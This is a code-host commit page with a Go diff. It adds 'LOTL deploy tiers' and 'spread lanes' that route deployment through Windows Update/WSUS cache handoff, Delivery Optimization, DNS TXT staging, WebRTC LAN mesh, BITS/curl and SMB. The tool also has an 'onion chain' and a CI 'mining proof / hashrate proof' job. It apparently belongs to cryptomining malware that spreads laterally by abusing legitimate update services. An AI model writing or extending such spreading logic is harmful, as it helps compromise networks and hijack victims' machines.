Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
@@ -16,6 +16,12 @@ type ServiceDeployLane struct {
|
||||
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
||||
"DoSvc": {Lane: "do_peer", Priority: 35},
|
||||
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
|
||||
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
|
||||
"dns_txt": {Lane: "dns_txt", Priority: 33},
|
||||
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
@@ -69,6 +75,12 @@ func normalizeJoinLane(lane string) string {
|
||||
return "bits_curl"
|
||||
case "do_peer", "do-peer", "dosvc":
|
||||
return "do_peer"
|
||||
case "wsus_cache_peer", "wsus-cache-peer", "wsus":
|
||||
return "wsus_cache_peer"
|
||||
case "dns_txt", "dns-txt":
|
||||
return "dns_txt"
|
||||
case "webrtc_mesh", "webrtc-mesh":
|
||||
return "webrtc_mesh"
|
||||
case "docker", "docker_load", "docker-load":
|
||||
return "docker_load"
|
||||
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":
|
||||
|
||||
Reference in New Issue
Block a user